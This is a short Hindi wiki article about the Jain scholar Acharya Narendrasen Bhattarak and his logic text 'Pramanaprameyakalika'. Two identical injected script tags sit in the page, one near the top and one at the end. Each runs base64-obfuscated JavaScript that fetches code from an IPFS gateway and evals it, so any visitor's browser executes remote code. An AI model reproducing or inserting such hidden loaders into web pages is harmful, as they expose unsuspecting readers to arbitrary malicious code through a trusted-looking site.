नरेन्द्रसेन भट्टारक

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Maintenance (चर्चा | योगदान) द्वारा परिवर्तित ११:३६, ७ अगस्त २०१० का अवतरण (Text replace - '{{जैन धर्म2}}' to '{{जैन धर्म}}')
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आचार्य नरेन्द्रसेन भट्टारक / Acharya Narendrasen Bhattarak

  • इनका एकमात्र न्याय-ग्रन्थ 'प्रमाणप्रमेयकलिका' है।
  • इसमें तत्त्व-सामान्य की जिज्ञासा करते हुए उसके दो भेद-
  1. प्रमाणतत्त्व और
  2. प्रमेयतत्त्व बतलाकर उनका समीक्षापूर्वक विवेचन किया है।
  • कृति सुन्दर और सुगम है।
  • हमारे सम्पादन के साथ यह भारतीय ज्ञानपीठ से प्रकाशित हो चुकी है।
  • ग्रन्थकार का समय वि0 सं0 1787 है।

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>